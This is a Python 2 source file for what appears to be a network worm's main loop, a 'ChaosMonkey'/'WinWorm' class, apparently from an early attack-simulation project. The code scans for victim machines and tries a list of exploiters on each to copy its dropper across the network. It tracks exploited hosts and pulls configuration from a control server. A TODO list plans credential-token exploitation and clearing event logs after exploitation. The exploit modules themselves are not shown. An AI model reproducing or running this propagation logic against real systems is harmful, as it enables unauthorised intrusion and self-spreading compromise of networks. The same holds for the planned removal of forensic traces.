108 lines
3.9 KiB
Python
108 lines
3.9 KiB
Python
|
|
||
|
import sys
|
||
|
import time
|
||
|
import logging
|
||
|
from system_singleton import SystemSingleton
|
||
|
from control import ControlClient
|
||
|
from config import WormConfiguration
|
||
|
from network.network_scanner import NetworkScanner
|
||
|
|
||
|
__author__ = 'itamar'
|
||
|
|
||
|
LOG = logging.getLogger(__name__)
|
||
|
|
||
|
# TODO:
|
||
|
# 1. Remote dating of copied file
|
||
|
# 2. OS Detection prior to exploit
|
||
|
# 3. Exploit using token credentials
|
||
|
# 4. OS Support for exploitation modules (win / linux specific)
|
||
|
# 5. Linux portability
|
||
|
# 6. Clear eventlog after exploitation
|
||
|
# 7. Add colors to logger
|
||
|
|
||
|
class ChaosMonkey(object):
|
||
|
def __init__(self, args):
|
||
|
self._keep_running = False
|
||
|
self._exploited_machines = set()
|
||
|
self._fail_exploitation_machines = set()
|
||
|
self._singleton = SystemSingleton()
|
||
|
|
||
|
def initialize(self):
|
||
|
LOG.info("WinWorm is initializing...")
|
||
|
|
||
|
if not self._singleton.try_lock():
|
||
|
raise Exception("Another instance of the monkey is already running")
|
||
|
|
||
|
self._network = NetworkScanner()
|
||
|
self._network.initialize()
|
||
|
self._keep_running = True
|
||
|
self._exploiters = [exploiter() for exploiter in WormConfiguration.exploiter_classes]
|
||
|
self._dropper_path = sys.argv[0]
|
||
|
|
||
|
new_config = ControlClient.get_control_config()
|
||
|
|
||
|
def start(self):
|
||
|
LOG.info("WinWorm is running...")
|
||
|
|
||
|
for _ in xrange(WormConfiguration.max_iterations):
|
||
|
new_config = ControlClient.get_control_config()
|
||
|
|
||
|
if not self._keep_running:
|
||
|
break
|
||
|
|
||
|
machines = self._network.get_victim_machines(WormConfiguration.scanner_class,
|
||
|
max_find=WormConfiguration.victims_max_find)
|
||
|
|
||
|
for machine in machines:
|
||
|
# skip machines that we've already exploited
|
||
|
if machine in self._exploited_machines:
|
||
|
LOG.debug("Skipping %r - already exploited",
|
||
|
machine)
|
||
|
continue
|
||
|
elif machine in self._fail_exploitation_machines:
|
||
|
LOG.debug("Skipping %r - exploitation failed before",
|
||
|
machine)
|
||
|
continue
|
||
|
|
||
|
successful_exploiter = None
|
||
|
for exploiter in self._exploiters:
|
||
|
LOG.info("Trying to exploit %r with exploiter %s...",
|
||
|
machine, exploiter.__class__.__name__)
|
||
|
|
||
|
try:
|
||
|
if exploiter.exploit_host(machine, self._dropper_path):
|
||
|
successful_exploiter = exploiter
|
||
|
break
|
||
|
else:
|
||
|
LOG.info("Failed exploiting %r with exploiter %s",
|
||
|
machine, exploiter.__class__.__name__)
|
||
|
except Exception, exc:
|
||
|
LOG.error("Exception while attacking %s using %s: %s",
|
||
|
machine, exploiter.__class__.__name__, exc)
|
||
|
continue
|
||
|
|
||
|
if successful_exploiter:
|
||
|
self._exploited_machines.add(machine)
|
||
|
|
||
|
LOG.info("Successfully propagated to %s using %s",
|
||
|
machine, successful_exploiter.__class__.__name__)
|
||
|
|
||
|
# check if max-exploitation limit is reached
|
||
|
if WormConfiguration.victims_max_exploit <= len(self._exploited_machines):
|
||
|
self._keep_running = False
|
||
|
|
||
|
LOG.info("Max exploited victims reached (%d)", WormConfiguration.victims_max_exploit)
|
||
|
break
|
||
|
else:
|
||
|
self._fail_exploitation_machines.add(machine)
|
||
|
|
||
|
time.sleep(WormConfiguration.timeout_between_iterations)
|
||
|
|
||
|
if self._keep_running:
|
||
|
LOG.info("Reached max iterations (%d)", WormConfiguration.max_iterations)
|
||
|
|
||
|
def cleanup(self):
|
||
|
self._keep_running = False
|
||
|
|
||
|
self._singleton.unlock()
|